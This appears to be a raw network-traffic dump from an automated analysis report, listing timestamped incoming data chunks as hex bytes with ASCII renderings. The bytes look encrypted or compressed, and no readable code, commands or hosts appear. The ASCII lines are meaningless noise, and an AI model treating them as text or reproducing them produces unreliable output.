                                                            2021-10-12 07:38:07 UTC27INData Raw: 25 12 4b 71 29 7c 30 0f 8e 97 a6 c9 ad be 55 80 55 3f 1a 06 53 51 80 41 7f 3f 38 df 0c 16 c6 cd 87 40 eb 4a 43 0b 05 91 fd 9d b1 9c 8e cb 15 7f 4d be f7 b2 35 fa 78 3d 23 d9 fd 6c 05 20 e8 3a fa d5 ca 32 5d 6e c3 ba f4 be b2 18 e6 ed fc 3d 84 fa 64 a9 ba 33 7b 5c 20 f5 cf 86 a7 83 35 ac d5 36 92 5d bb 32 79 20 a5 7c 16 8d e3 5b ea 58 9d a2 ba 17 0d 15 70 ff aa f9 35 a7 dc 25 d3 22 cd b2 ff e7 b2 84 1b 43 51 0f cb ce 04 55 5c 99 ce 31 2a dd 8f 82 83 0f 87 47 a9 85 0a 57 bf ff c5 e7 c3 46 72 5f 02 d7 27 38 fc bc 95 31 e1 fc ea 3e 07 0a f5 0f d2 cc 75 3b 30 3d 5d 41 9e 60 7f 3d b6 48 0e 05 ce a4 69 70 68 88 4a dc e2 69 82 57 26 b6 f3 a8 23 e0 8f dd 89 93 ac 39 dd ed ef 21 a9 48 cf e2 83 5a 74 9e 41 89 da 34 1d f7 4e ec 08 96 94 5c 2d 5a 14 4f 42 dc c0 3c 40
                                                            Data Ascii: %Kq)|0UU?SQA?8@JCM5x=#l :2]n=d3{\ 56]2y |[Xp5%"CQU\1*GWFr_'81>u;0=]A`=HiphJiW&#9!HZtA4N\-ZOB<@
                                                            2021-10-12 07:38:07 UTC28INData Raw: a9 a1 8b 84 ae d2 fe 1b 8d 48 d1 8e f1 19 41 a3 f2 e5 7b d2 2d 52 5f 7c 4a ae 8c 18 44 b5 29 aa c1 84 17 c8 00 45 e8 2f bf 40 c0 e3 cd 0d e2 c5 cd b7 17 62 6b 2e 6c 9e 8f c3 0c 99 62 a2 58 95 f9 20 d2 37 a6 94 75 15 4a fe 65 0e 88 41 d3 ea a7 45 53 b7 c9 eb f2 07 d9 b0 e4 d1 db 36 69 f0 e5 40 f0 b1 b4 2c 5b 10 e5 b7 df 88 3c d1 37 b1 05 a6 da 05 a3 3f 65 ae 55 86 72 bf f5 38 4d 02 af 7c 3f cd 4b 1c 31 ab c2 62 ed ba d5 d6 41 4f 0a 04 1f ae 6e d4 71 33 e5 e8 97 c9 53 54 8f cf 85 43 7b c6 ea be 17 50 f0 7e 09 d4 e9 fe ad dc e5 8e f1 b4 7d ec f4 3c 89 88 2f b7 90 37 d9 9e 6c 7e bb b5 25 83 eb 5d 9f 4f 8d 5b 7f e7 cf fc 7c f6 59 d5 b5 51 fa b5 19 7e 80 a8 49 18 c9 e0 86 b6 05 3e c1 cd 33 e4 e4 cc d2 90 0b dc 7d 6b 5b be cb 5b 62 89 6d 30 86 d1 34 99 20 c7 9f
                                                            Data Ascii: HA{-R_|JD)E/@bk.lbX 7uJeAES6i@,[<7?eUr8M|?K1bAOnq3STC{P~}</7l~%]O[|YQ~I>3}k[[bm04
                                                            2021-10-12 07:38:07 UTC29INData Raw: 49 24 de 06 16 fb ce 9a 87 fe 54 56 75 34 b8 e4 96 6f 8c 82 d0 c7 68 9a ad f8 b7 2e 28 56 25 22 d9 e6 6a 38 36 f6 35 43 91 c5 23 46 a5 21 4d 22 33 99 10 c6 ef 89 2d 86 ab ba b8 aa 25 63 6d 01 6f ce 86 ed 54 3a bd c4 93 ab 53 b9 29 65 2a a2 f0 3d 87 f0 54 e8 74 98 ab 39 ea db 06 7e ee 9f e7 18 a1 c5 34 fa 38 c2 95 ff 30 a1 81 08 57 48 36 f6 d9 1b 47 79 92 c0 2b f6 df a2 91 b6 6f 84 5f a8 8f 11 66 a3 cd a5 d1 d3 4b ae 98 33 cf 4a 04 f2 94 86 21 c3 ef 96 15 17 05 e5 c8 e3 ac 4b 3f 27 ed 5b 93 05 5a 7b b3 00 34 3a 06 df a1 6b 51 61 d9 c2 df f8 68 83 4e 04 b6 da d8 2b f0 ae c1 af ff 85 23 dc e5 c5 5c 00 49 cf a8 0f 7c 65 b8 53 b9 b9 7d 3d f6 44 f5 40 a5 b2 74 31 73 46 45 6a 83 d1 28 57 58 5d b5 99 6c a4 b1 22 af 06 3c 97 a0 3e 6a 13 50 f9 fd a1 e3 1d dc a9 b4
                                                            Data Ascii: I$TVu4oh.(V%"j865C#F!M"3-%cmoT:S)e*=Tt9~480WH6Gy+o_fK3J!K?'[Z{4:kQahN+#\I|eS}=D@t1sFEj(WX]l"<>jP
                                                            2021-10-12 07:38:07 UTC31INData Raw: a6 b3 11 55 cf 37 a6 3f b2 3b b5 05 96 43 1b be 41 e2 e0 40 4c e8 ed d1 a7 1d 75 7a b5 15 ab 8e c2 15 0f 62 a3 21 a4 d0 31 d8 24 a8 1e 73 1f 5d eb 5f ed 2a 41 d3 e1 16 51 70 b8 d9 e2 5a 07 d6 c6 6f 5d e4 3c 7a f7 56 57 ef 83 2d a2 64 16 f3 3b 7a 99 37 c3 29 b4 1b 9a 66 1e 2e 1a 7d 22 6b 95 7e af d1 19 5b 9e b4 67 a4 e4 d7 0d 3c 9b 65 fe fc bc e4 9a dd 5e 0c 09 df bf 54 d8 66 1a 5a ef 86 c5 61 63 98 df 8a 45 72 44 f3 40 16 7d ee 64 14 c7 6f d6 07 82 0b 7a f9 ab e2 dc f4 2d 87 35 2d 42 82 02 53 92 78 6a b7 e8 89 83 eb 5d a4 56 9c 56 63 d8 4e ee 71 e7 54 c4 a3 5c ed 9c a6 75 91 a9 79 0e ec e7 16 9a 10 8d dc d0 be d3 c9 40 ed 9a db cf df 7a 4b 8e ce 5f 4a 92 45 08 8d 73 2f e6 2b d1 13 5b 3c 50 65 95 77 72 74 12 0a 67 ab 8c c7 16 0f 6b 42 f2 67 6b cb 59 db 5f
                                                            Data Ascii: U7?;CA@Luzb!1$s]_*AQpZo]<zVW-d;z7)f.}"k~[g<e^TfZacErD@}doz-5-BSxj]VVcNqT\uy@zK_JEs/+[<PewrtgkBgkY_
                                                            2021-10-12 07:38:07 UTC32INData Raw: e3 bd 24 fc 4e da 23 f5 f2 68 3e 2e ee 2d 2c cf dc dd 4d 55 10 a8 21 37 8e c2 ea b8 f5 20 86 e2 7c 46 ab 09 68 55 05 ef c7 9b 53 93 16 b5 c1 e5 cb 45 6f 77 68 05 bc 74 0e 79 f1 79 ff 41 8c aa b9 c1 d2 1d 81 fc 97 fc 1f bb 97 b4 c6 24 ef 97 f9 3c a1 82 05 ac 5f 0b d7 c8 28 45 4c 85 c1 22 ea 30 81 ac 90 17 a2 5e a1 9a 09 ba b3 c2 c8 d6 d7 73 da 76 ee 27 32 22 d8 9e 8e 35 ab 67 e6 36 38 07 f9 d2 c4 e6 2e 29 f1 b3 4f dd 1b 7a c6 2b 9d 48 3a 05 df 96 78 74 7e da 4f f4 e9 7e 8e 76 0a a7 f7 df fd e0 a3 da ce 88 ad 39 d9 96 81 2e 29 42 c4 bb 10 5a 7c 89 bc 99 fa 59 24 fa 4e ee 71 4a 94 70 25 65 4a 4f 4a c3 2d 29 7d 72 58 b5 b2 a5 cc ce 4d e0 0d 2f b5 8d 2f 6c 02 6b a6 c1 a0 b6 17 02 a5 e1 f2 bb 66 45 03 2b 3f b8 f3 ca 81 c0 6b 71 3b e8 55 cf 30 9e f2 ee db 0f 8a
                                                            Data Ascii: $N#h>.-,MU!7 |FhUSEowhtyyA$<_(EL"0^sv'2"5g68.)Oz+H:xt~O~v9.)BZ|Y$NqJp%eJOJ-)}rXM//lkfE+?kq;U0
                                                            2021-10-12 07:38:07 UTC33INData Raw: 35 24 60 38 18 c4 d6 c2 06 0e 79 ae b9 14 f3 0b 9a 0c 3e bc 62 1e 4e 9b fa 61 15 4b c0 e4 a3 51 7f 2e 7f 3d f3 11 ca 05 6e 07 56 17 7a f6 f5 4c e2 8f 26 2a d5 a1 47 a6 c9 8c 2a d6 34 b4 15 00 c5 2d b9 34 7d 28 41 8d 5a 90 df 0f 4a 71 fc 6a b3 f8 31 00 37 55 65 b8 fa 66 70 a7 41 4f 01 1e c0 35 5e 48 78 25 f4 5b 1a c6 5e 7f 21 50 83 53 6a 51 ea 96 0d 50 e3 7f 11 d6 71 58 b2 a4 f1 e9 c5 a2 f1 d3 f4 3c 88 5a 7e e7 ab ad c8 92 72 de 3f 31 03 0d 5c 4b 56 47 bc 56 68 f0 53 b0 c5 7d 46 63 a4 5c ed 8e 85 7b 80 2b 6f 09 c4 be 16 9a 0b 07 51 db a9 c6 f7 a3 4f 9a db c4 70 62 ce 21 ff a4 62 83 45 39 8c f9 1c ee 32 c1 ec 3e 3d 50 6e 4d 4e e5 6e 03 04 77 c9 00 ca 02 2d e4 48 7c d6 5d b9 5e db 5f da 5f 6c 7f b3 39 bd a8 9b e8 be 65 16 c8 22 76 b6 4e 82 21 7f c5 74 d6 3f
                                                            Data Ascii: 5$`8y>bNaKQ.=nVzL&*G*4-4}(AZJqj17UefpAO5^Hx%[^!PSjQPqX<Z~r?1\KVGVhS}Fc\{+oQOpb!bE92>=PnMNnw-H|]^__l9e"vN!t?
                                                            2021-10-12 07:38:07 UTC34INData Raw: fe 43 88 d2 33 0a 41 ea a9 9f d1 d3 0b 3d 76 7f 7b ac ad 4f 30 7c c7 4c a9 75 b1 05 8a ca 52 42 ac 9b 40 63 96 88 e9 9a 25 3a 14 f6 e3 88 47 40 7b ed 63 92 ab ce 06 cb ba 93 2c d0 ca fa 0d 8d 75 70 a4 30 8d fc f4 3c 0b 25 15 d1 6b 8b 8c bd 04 5e 37 8f 69 c0 a9 38 1d 44 3b 42 79 cc 95 da 52 5f 70 68 a4 b0 1f 41 d1 24 c5 a0 b2 17 c2 39 24 c1 1b b4 53 c0 dc dc 4c e2 cf dd ae 72 ee 61 38 18 b8 85 d2 00 15 78 be 26 a8 76 97 b7 8a a2 bc 68 05 5e 9b ac 61 15 4b fe 4e 6a 56 6a b4 bd d0 f8 16 dc f3 75 c0 cf 49 41 f6 f4 47 8b ce 37 2e 51 ca e2 3c df 9e 3b 5e 94 ca bf 8e 72 0f 8b 07 7e 22 6c 95 77 af d8 0a 4f 0c a1 43 d0 f3 4b 16 3d ab ee 62 ed ba f4 e3 dc 4f 00 19 da 27 54 d2 60 36 e0 fe 82 41 f0 13 3b cc 85 4f 72 4d e9 a8 13 df 54 1a b6 df ff e5 82 20 f5 85 ec 8a
                                                            Data Ascii: C3A=v{O0|LuRB@c%:G@{c,up0<%k^7i8D;ByR_phA$9$SLra8x&vh^aKNjVjuIAG7.Q<;^r~"lwOCK=bO'T`6A;OrMT
                                                            2021-10-12 07:38:07 UTC35INData Raw: 5a db a2 3a 74 15 4c 60 15 3b 39 f7 eb b5 c7 d9 2d 4d e2 d2 a8 66 19 7b 25 73 5b d3 39 5f ba d2 6c 16 aa 20 dc ab 0e 28 44 0e ba 30 a9 ec 72 06 c5 d9 24 18 43 73 22 7c 33 0f b9 97 a6 c9 ad b1 55 88 55 3d da 04 58 dd 26 21 67 27 39 d5 0d c2 cd d3 98 f9 9f 44 41 10 03 d6 8c 9d b1 9c 59 04 10 6c b7 ab f1 df 73 f5 50 2e fe d1 f0 10 08 30 e7 2a 06 c6 c5 22 50 79 19 af 22 0d 99 02 be ec e1 2d 86 eb 6b ba aa 2b 6a 17 60 ef c4 86 ad 92 3a a6 f4 e4 81 d5 b9 23 76 45 bc 7d 07 93 fb 26 9f 56 87 b9 b8 b2 be 07 7f f7 b6 ff 15 b6 d9 4a c5 2f dc b7 8a ac a1 8b 13 3d 78 26 d2 c5 17 59 22 a2 c0 2b f6 dd 85 91 97 11 a9 31 83 84 00 4e a3 eb d2 92 ff 4a a4 83 00 dd 3d 46 dd 95 8c 3a e2 de 90 3a 16 0f fc dd d0 c6 0b 11 26 e7 40 84 14 5a 78 2c b3 4d 1b 03 51 1c 17 44 7f 99 45
                                                            Data Ascii: Z:tL`;9-Mf{%s[9_l (D0r$Cs"|3UU=X&!g'9DAYlsP.0*"Py"-k+j`:#vE}&VJ/=x&Y"+1NJ=F::&@Zx,MQDE
                                                            2021-10-12 07:38:07 UTC36INData Raw: 1b fd 0f a2 b1 42 4a 8e fd 5e 7f 8f e0 a2 8b 22 2f 0c 00 8d 5d 4e 78 b1 fe 65 ba 85 c7 15 ca b6 8c 2e a0 9f 05 0c ab 03 18 85 31 86 ef e0 3f 56 35 01 b4 85 fa 8d b7 26 c5 1f 70 9c 2c ba 22 08 44 2d 54 f0 62 04 75 7e 5a 7e 6c af af 16 44 d1 2f b7 3f b2 3b c1 18 7f bf 1b be 40 d4 e7 47 4c f3 c2 d6 5a 1c 5f 79 30 32 ab 8f c3 06 2c 67 a9 37 a9 d0 51 d9 24 a8 86 b5 ea b5 0b 7c 72 12 41 c2 e7 ab 4e 85 a1 e4 d3 e9 10 d8 d8 f5 c1 db 3c 78 99 82 47 e4 93 1f 59 5a 16 f9 1f f5 8d 1a c1 27 8e 1b f7 62 05 a3 37 0c 32 6a 86 70 ad d8 1d 49 79 f3 6b b3 f6 cf 73 96 83 72 64 f2 bf ee 8b 41 5e 07 05 37 22 69 d7 66 21 f1 ef 97 c8 58 73 6b cd a9 47 48 4e d5 e0 e9 ae 1c 0b 6d de ff e5 82 06 f5 85 ec a1 f5 d6 dc aa 88 2a 38 96 83 3b c8 89 48 6f a3 5f 0a 83 eb 0c 8c 42 8d 40 63
                                                            Data Ascii: BJ^"/]Nxe.1?V5&p,"D-Tbu~Z~lD/?;@GLZ_y02,g7Q$|rAN<xGYZ'b72jpIyksrdA^7"if!XskGHNm*8;Ho_B@c
                                                            2021-10-12 07:38:07 UTC38INData Raw: 75 3e 97 06 5e b0 c9 6f 26 5a 0f dd ad 7a 59 41 16 d1 36 08 ee 78 03 c5 72 25 18 43 0f 18 6c 36 6a 90 be 07 c1 be b0 3a ef 44 39 c8 3d fe 51 91 48 7f e4 39 df 0c 73 e9 c3 9d 9c fe 6d 05 19 0a bf 9a fc b1 96 81 f2 b6 67 9b ab d0 72 24 f5 5a 4b 1c d8 f7 75 12 19 42 22 2c c0 bb 43 4c 79 1d 85 84 31 99 1e ce 2e ef 2d 8c 84 55 b9 aa 2f 6c 22 89 ee ce 8c c2 10 3b bd ce f3 86 79 da 31 71 20 3f 7c 16 8d fc 53 f3 38 a6 b2 b4 cb d6 0f 57 d2 bb f6 17 93 df 0e 90 27 f4 0e e5 31 a7 98 1d 43 5a a9 65 d9 35 65 40 8c d2 22 ea dd 88 ab bb 11 a6 4f a0 1f 13 42 a3 e8 cd d5 f6 4b a4 83 02 dd 34 2c db a5 8c 30 eb da f0 2a 13 0d e6 f1 70 c3 64 38 36 ef 5d 41 00 43 6e 35 a6 52 84 b0 ed 64 6a 73 56 1d 4e f4 f2 45 16 83 2b b5 f8 39 15 f5 8f d7 ab d0 fa 39 dd ef 13 05 29 48 ce b2
                                                            Data Ascii: u>^o&ZzYA6xr%Cl6j:D9=QH9smgr$ZKuB",CLy1.-U/l";y1q ?|S8W'1CZe5e@"OBK4,0*pd86]ACn5RdjsVNE+99)H
                                                            2021-10-12 07:38:07 UTC39INData Raw: 65 b0 f5 41 07 cd bc b5 36 bc 95 fd 25 a0 1a 10 af 5f 57 ef e0 1d 53 30 6e 75 ad 8b 86 9a e4 21 1a 9e 67 a6 9e 29 1b 42 01 49 e6 7f 8f 4f 52 5f 7b 0f e2 bc 11 4e 1c f6 bf e4 9b 20 c8 11 4c cd 0d 33 55 ca f4 41 47 ca fd cc a4 17 ad 66 3e 7d 7c 8e c3 0c 2e 74 82 37 a3 f9 3c d8 24 a0 bc 64 14 28 9c 67 77 15 41 d3 e0 b4 40 7d a0 b2 6b f8 03 c7 df 79 d0 c8 0c 79 f6 a0 47 e4 99 60 2e 5b 07 e5 29 dd b0 7c d1 23 a5 11 9f 77 1a ae cb 7c 0e 64 8f 63 ba 53 b8 73 be a5 6b b3 ed 45 0f 35 83 63 67 f7 4e fc a0 55 49 02 3b d6 20 45 d2 59 16 f6 ef 8c a0 97 7c 95 c6 9e 56 66 4b fc bb 09 af e2 59 1e f4 33 f0 a3 6d f1 85 f7 a7 ee d8 0a 3d a4 3f 38 b4 ab 24 cb 92 7e 42 87 38 0a 89 84 8c 8c 42 96 49 65 e3 56 ed 60 e4 50 46 5a 5d c1 96 a3 f3 95 a2 6f 08 ee e9 06 89 1f 2f dc de
                                                            Data Ascii: eA6%_WS0nu!g)BIOR_{N L3UAGf>}|.t7<$d(gwA@}kyyG`.[)|#w|dcSskE5cgNUI; EY|VfKY3m=?8$~B8BIeV`PFZ]o/
                                                            2021-10-12 07:38:07 UTC40INData Raw: 25 18 49 b0 26 61 ea 60 87 8c a6 c3 bf ad 74 88 44 d7 cc 15 5c 09 91 4e 46 39 35 52 2d 1c d7 c3 8e 9e e9 4d 57 0c 96 a8 ec 8b a7 0a 94 d2 02 73 07 bc f0 a9 32 69 41 2c 38 cf 6b 6e 1c 2a f1 bc 3d ce d9 35 d0 68 11 b0 34 af 88 10 f8 fa 73 3c 8e f4 62 ae 36 34 62 52 02 f9 52 97 a5 8d 31 ab 58 f1 89 59 bb 3a 71 1e a3 71 3e 9d f1 55 f1 55 09 04 ab d1 01 11 a9 70 90 f6 1d bf d1 27 c6 21 d4 ab e7 bf 16 94 16 88 76 3d d3 cf 0e 2c c6 89 c1 2d ef c8 9f 90 1f 2b af 5e a9 96 05 4c 3c 59 db f8 5c fc 7e 9e cb cf f3 a4 d8 94 8c 31 ec fe f1 b5 a1 1a ff 03 d0 c6 72 21 37 cf 50 96 13 41 77 2b be 4d 02 89 68 ba 7d fa c9 43 67 ee f9 68 88 75 b9 a7 ff cd 12 e7 8c d0 a4 b6 bc 3c b2 7d ce 2f 2f 27 d3 a3 1c 50 67 9a 53 9c fe fa 3c f6 44 ec b9 a5 b0 74 10 72 46 45 51 dd c7 22 79
                                                            Data Ascii: %I&a`tD\NF95R-MWs2iA,8kn*=5h4s<b64bRR1XY:qq>UUp'!v=,-+^L<Y\~1r!7PAw+Mh}Cghu<}//'PgS<DtrFEQ"y
                                                            2021-10-12 07:38:07 UTC41INData Raw: b0 b7 8b 8c b6 37 cf 3f 8f 2e d6 a5 29 44 43 2d 54 84 c4 fa 74 58 55 7c 48 71 bc 11 42 af e2 aa c1 b9 3f 5e 10 46 ca 74 29 41 ca fe 53 49 f3 c0 d8 8c 73 70 61 3e 04 26 89 c3 06 05 67 bc 23 8b 50 20 d8 2e 8a ad 62 14 40 f9 76 64 01 69 bc e3 b4 46 6d 2d cf eb f8 17 c9 cb 6d f9 73 3c 7a fc dc 57 e4 99 3d 3d 5f 1f ef b6 e7 88 3c d1 35 8d 89 8f 72 0f 8f 2b 6c 26 72 0a 4d be dd 0e 5a 2a 3d 6a b3 f8 67 12 e0 ca 72 62 ef 98 e9 8c 41 45 13 14 e2 2f 95 9e 71 32 f4 c7 92 cf 47 76 86 cb 93 56 6b 35 98 bf 17 5b f0 7c 0e cd f7 fd a3 56 97 85 e6 a4 7d ec f4 3c 89 39 38 ad 85 13 92 92 78 60 b5 16 0d 85 e0 81 1c 46 9c 56 78 f9 5f 9e e8 e0 4f 43 b7 56 fc 97 a7 57 a8 d2 6c 09 c2 de 8c 9b 1a 25 dc f2 81 bd f6 cc d4 f5 40 cf 7d 61 51 9c cd 72 4a f1 46 08 81 f9 a4 ec 32 cd 8e
                                                            Data Ascii: 7?.)DC-TtXU|HqB?^Ft)ASIspa>&g#P .b@vdiFm-ms<zW==_<5r+l&rMZ*=jgrbAE/q2GvVk5[|V}<98x`FVx_OCVWl%@}aQrJF2
                                                            2021-10-12 07:38:07 UTC43INData Raw: 26 33 01 09 39 ff f5 9d 96 f2 56 66 32 32 b9 e4 96 6f 96 94 c9 0d b3 88 be e9 a3 35 de 6e 51 df 26 08 6e 1f 26 31 33 27 d7 ce 32 66 47 98 51 dd cc 47 17 c3 c4 d8 2d 86 e1 78 90 82 1d 6a 4d 02 31 ce 80 87 95 10 bd c4 e0 c0 66 b9 23 76 08 bc 7d 88 85 f0 55 96 55 87 b3 bf c4 db 06 70 fd bb f6 07 be dd 24 d9 2e dc bd f4 31 a1 8b 30 57 5e 27 e8 ca 04 5f 5e 88 c1 2b e6 ce 80 81 81 30 a8 5e be 86 00 44 d2 ee ca ec c4 58 ae b1 17 db 25 29 f3 85 86 2f ef 08 f8 17 07 03 c7 7f c0 c3 6e b2 9a e7 4a 96 00 4e 60 32 a4 51 0a 16 d5 b4 61 8a 7f b5 46 cc 1b 6a 82 5d 3a bd ec cd 03 f0 85 cf 4e be 81 20 df 35 84 2f 29 4a e7 b6 1c 5a 7e b6 35 99 d6 51 14 e7 4e e6 6d b8 8c 4f 2d 72 57 45 5d c6 2d 29 7d 51 62 b0 8d 42 43 cf 22 a9 1a a2 b8 a7 2f 6d 16 6c 82 eb 08 e3 17 08 8d b4
                                                            Data Ascii: &39Vf22o5nQ&n&13'2fGQG-xjM1f#v}UUp$.10W^'_^+0^DX%)/nJN`2QaFj]:N 5/)JZ~5QNmO-rWE]-)}QbBC"/ml
                                                            2021-10-12 07:38:07 UTC44INData Raw: a2 94 bc 45 c0 22 b9 c7 a5 04 cd 3a 6c d1 1d af 45 50 f9 49 64 6e c6 cc a2 72 d1 61 38 18 87 9f ca 2e 89 70 a8 31 cc fa 21 d8 2e 8f b8 6b 18 61 fa 76 64 02 97 c0 e5 a5 45 6a a6 46 5c ca d8 d5 f7 3b d2 db 3a 52 78 f7 46 e2 b1 82 2e 5b 10 f9 e4 cd ad 14 e7 23 a5 1b 9d 76 76 1c 35 7d 28 60 ae 4a be dd 05 92 02 a3 41 b2 e2 4b 1c 30 83 72 62 98 c5 fd 99 5b 4f 00 12 d2 13 41 d4 f8 33 f6 ef e5 cf 47 6d 8a d0 ad 1b 63 4b e7 96 98 52 e3 73 30 fb ff ef a0 73 fd ad 5f a2 f1 d5 ff 4f 37 2a 3e b6 89 3c a7 45 78 6a a9 2b 05 95 f8 52 b4 0f 9d 56 69 e1 5c fc 7f 7b 5c 4d b5 58 c5 ac b5 7e 8a 8f 6a 31 f6 f7 16 9a 0b 2b be 56 a8 cc f3 df d5 44 c9 eb 55 5c 40 96 d5 48 6a ab 7d 08 87 db e3 f8 33 c7 9f 75 3b 78 09 34 66 7f 01 84 0f 74 a0 b0 cf 3a 25 e9 40 f2 70 79 6e d0 da 5f
                                                            Data Ascii: E":lEPIdnra8.p1!.kavdEjF\;:RxF.[#vv5}(`JAK0rb[OA3GmcKRs0s_O7*><Exj+RVi\{\MX~j1+VDU\@Hj}3u;x4ft:%@pyn_
                                                            2021-10-12 07:38:07 UTC45INData Raw: 60 b0 24 ff 43 22 5c 41 f7 7f 1e 22 ed 5e b4 c6 c5 29 5f 71 0f bc 2b 5c 11 19 e6 ea f8 f7 95 f8 78 b4 92 de 6a 4d 08 fe c7 97 a1 ba ad be c4 e6 ee d8 b8 23 70 20 24 7e 16 81 e6 7d d5 57 87 b9 a2 81 0d 06 7f fd aa ff 0c b2 f5 bc da 2e da d2 6f 30 a1 8d 0a 54 4f 2e c3 c3 2c c5 52 88 c7 44 76 cf 80 86 81 0a be 57 b9 89 28 df b1 ee cc 92 58 4a a4 8f 39 60 25 29 f5 87 84 21 e9 e2 07 3a 07 0d 91 41 c1 c3 6e 28 0f c9 4a 97 19 5d 81 3c d7 77 2f 16 d8 87 59 5c 35 98 4f fe e9 61 93 51 0d c3 fc c7 05 8e 05 d6 b0 b9 c2 a4 dd e5 c5 3e 2e 60 78 a2 1c 5c 67 96 53 9e fe c9 3d f6 44 cb 24 a5 9f 74 b5 73 46 45 6f e0 c2 20 7d 46 00 95 9b 6a cd df 2f be 01 3e b9 c8 07 6e 02 7e 87 ce b1 e9 78 26 a7 a5 f4 aa 7a 42 07 6f 54 ba fb d5 6e cc 6f 35 21 c2 49 ac 1a 94 ea 16 dc 32 8b
                                                            Data Ascii: `$C"\A"^)_q+\xjM#p $~}W.o0TO.,RDvW(XJ9`%)!:An(J]<w/Y\5OaQ>.`x\gS=D$tsFEo }Fj/>n~x&zBoTno5!I2
                                                            2021-10-12 07:38:07 UTC47INData Raw: 1b 72 61 32 01 ac a6 66 05 04 75 bb 3a b1 f5 08 7f 27 a2 ba 71 18 58 f8 4f 4f 17 41 d5 f3 bf 52 70 b1 cf fa ff 79 d5 de 79 db c9 3e 52 31 f4 46 e2 8a 3f 28 73 4f f1 3a de e7 14 d2 23 a3 17 9f 75 6a 75 35 7d 28 05 a2 70 be db 09 64 9e a5 6b b9 e3 4d 73 e6 83 72 68 c5 d9 fc 8c 4b 20 1c 12 c9 29 2a f2 73 32 f0 e9 ae 67 44 7c 93 a3 af 47 63 4d eb b5 c9 44 c6 5d 2f df ff e5 b9 77 87 a7 e4 a2 f7 d8 dc 04 88 2a 34 62 83 3c e2 93 68 6a a3 38 0a 85 eb af 75 42 89 4c 69 f0 52 f6 41 e2 4f 15 a4 5c ed c3 b5 7e 91 d1 d0 09 c4 fc 1c 9c 64 03 cc db ad e4 e2 ce d2 9c f3 9a 7e 6b 46 be c7 59 62 85 2a c2 87 d1 34 33 3c e2 b7 53 3c 50 6e 3b 4e 41 6e 03 04 aa a6 9b b4 2e 26 e8 44 da 76 7f 46 58 f3 0b e8 54 42 75 a9 3b bb dd ae 23 be 6f 66 0f 25 dd 29 af 8a af c2 1e 4b 34 28
                                                            Data Ascii: ra2fu:'qXOOARpyy>R1F?(sO:#uju5}(pdkMsrhK )*s2gD|GcMD]/w*4b<hj8uBLiRAO\~d~kFYb*43<S<Pn;NAn.&DvFXTBu;#of%)K4(
                                                            2021-10-12 07:38:07 UTC48INData Raw: 09 e3 c4 4f 2d 86 e1 43 13 a9 25 6c 65 a8 ef ce 8c 85 33 3a bd ce eb 86 7a 88 23 76 02 85 ab 16 87 f0 52 88 da 86 b3 b2 d2 dd d8 6b d8 93 c1 1d be d7 36 de 28 d1 95 dd 31 a1 81 c4 74 5c 27 d2 de 02 77 fd 8b c1 2d 93 49 81 80 94 2d ad 58 82 93 11 42 dd 66 cb fd d4 5c 7e 9a 07 cb 2d 11 7f 94 8c 30 f0 f0 e8 33 01 6a 66 d8 c1 c5 77 37 36 e1 5b 9f 09 24 f6 3c b7 5d 19 0c ce ad 69 7c 67 f6 c6 f5 f8 6e 91 57 34 ae d7 55 02 e1 85 fa f8 ae a6 11 4f e4 cf 25 04 77 de a8 34 c8 75 9e 48 b5 e0 28 1e f4 4e e0 74 b8 84 50 36 7b 29 67 40 da d5 39 5d 61 78 d8 bd 68 cb ca 33 a3 1d 25 d0 81 2d 6c 04 69 9a eb 0d e0 17 04 ca 8f f0 bb 71 55 1e 0c 1d a3 fa d3 75 1f 48 50 0a f5 4f c3 3a 85 e7 38 e2 23 86 6d cb 74 54 cb 10 44 72 37 6a e8 25 78 5b a9 52 c1 98 15 27 c4 c8 40 97 28
                                                            Data Ascii: O-C%le3:z#vRk6(1t\'w-I-XBf\~-03jfw76[$<]i|gnW4UO%w4uH(NtP6{)g@9]axh3%-liqUuHPO:8#mtTDr7j%x[R'@(
                                                            2021-10-12 07:38:07 UTC49INData Raw: 76 3d 84 d2 e0 be 7a 0a 5f 37 14 26 18 cf c8 87 c7 c7 3c 7a ed 9b 11 e4 99 3d f2 4a 19 e4 ec cb 87 2d df 32 b3 2f ce 8d fa 5c 33 12 e4 6b 86 78 d1 1a 0e 4c 08 b6 73 98 ac 59 04 18 4b 73 62 e7 a3 ee 9d 52 20 25 11 c9 25 2a 19 71 32 fc f8 b7 89 34 5e 97 cc 83 56 77 5a f9 af 04 3e c4 77 18 d9 90 c7 a8 7e f2 94 f2 b3 e2 bc d7 3e 88 2c 51 98 81 3b ce 83 6c 7b b0 57 2f 81 eb 5a e3 64 9e 56 6f e1 47 c5 cc e2 4f 4f cb 76 ef 9d b3 6f 84 b3 7b 66 df f7 16 90 08 37 e5 12 a8 cc ff e1 4b 44 d5 dc 65 95 56 88 df 5b 79 ec 12 08 87 db e2 fc 36 ed 9f 64 3d 78 64 37 64 79 92 03 a3 dd a7 93 ca 02 27 e8 42 f2 b8 7c e5 22 d9 51 eb 54 44 5d b2 39 22 d9 b9 f8 bd 61 6c d1 2b f8 1a a8 80 af 80 12 63 0c 42 db 5a bc 71 dd 80 57 fc 3e ea d3 15 ad 24 6d f9 9a 21 fc 90 b7 5e e1 ac 5a
                                                            Data Ascii: v=z_7&<z=J-2/\3kxLsYKsbR %%*q24^VwZ>w~>,Q;l{W/ZdVoGOOvo{f7KDeV[y6d=xd7dy'B|"QTD]9"al+cBZqW>$m!^Z
                                                            2021-10-12 07:38:07 UTC50INData Raw: 10 ec 01 9c 50 6f 6f 8d c7 da 4b 8d e7 a2 90 f5 0f 05 fe 8d 59 53 40 71 f4 4d 82 9b cd 0c b4 89 9d 29 be e4 c4 0d 87 1b ee ae 33 87 9b f2 17 42 2f 2b be ad 8b 97 87 2f ff 6b 8f 63 d3 fb 29 1b 52 5e fa f7 7b f0 7e 54 21 51 61 b5 b8 39 53 c2 28 ac e9 e1 14 c8 17 6e d8 19 be 46 a5 3e 40 4c e8 1b c2 81 35 44 61 38 18 a7 a6 fb 06 04 79 76 37 a5 86 0b d9 24 a6 94 75 16 4a f2 4f 33 16 41 d5 c8 ad 42 7b a6 a7 21 f8 16 d7 01 77 f4 f3 0b 7a f6 fe 4b cc a1 37 2e 51 c8 f3 3c f2 89 20 d0 23 a5 11 88 72 19 81 35 73 38 6a 86 73 be dd 3f 4c 1e e9 6b bd e8 4b 1c 31 98 42 6b ed 54 ff 8c 41 23 00 13 d8 50 fa d4 71 38 fc 91 1e cf 47 76 99 b2 1d 45 63 41 fe bb 69 7f e2 75 1c f7 e8 ed aa 78 f9 8c ce 63 f2 d3 f2 14 28 2a 3e b6 ab 9a c8 92 72 79 a7 29 0e ab da 5c 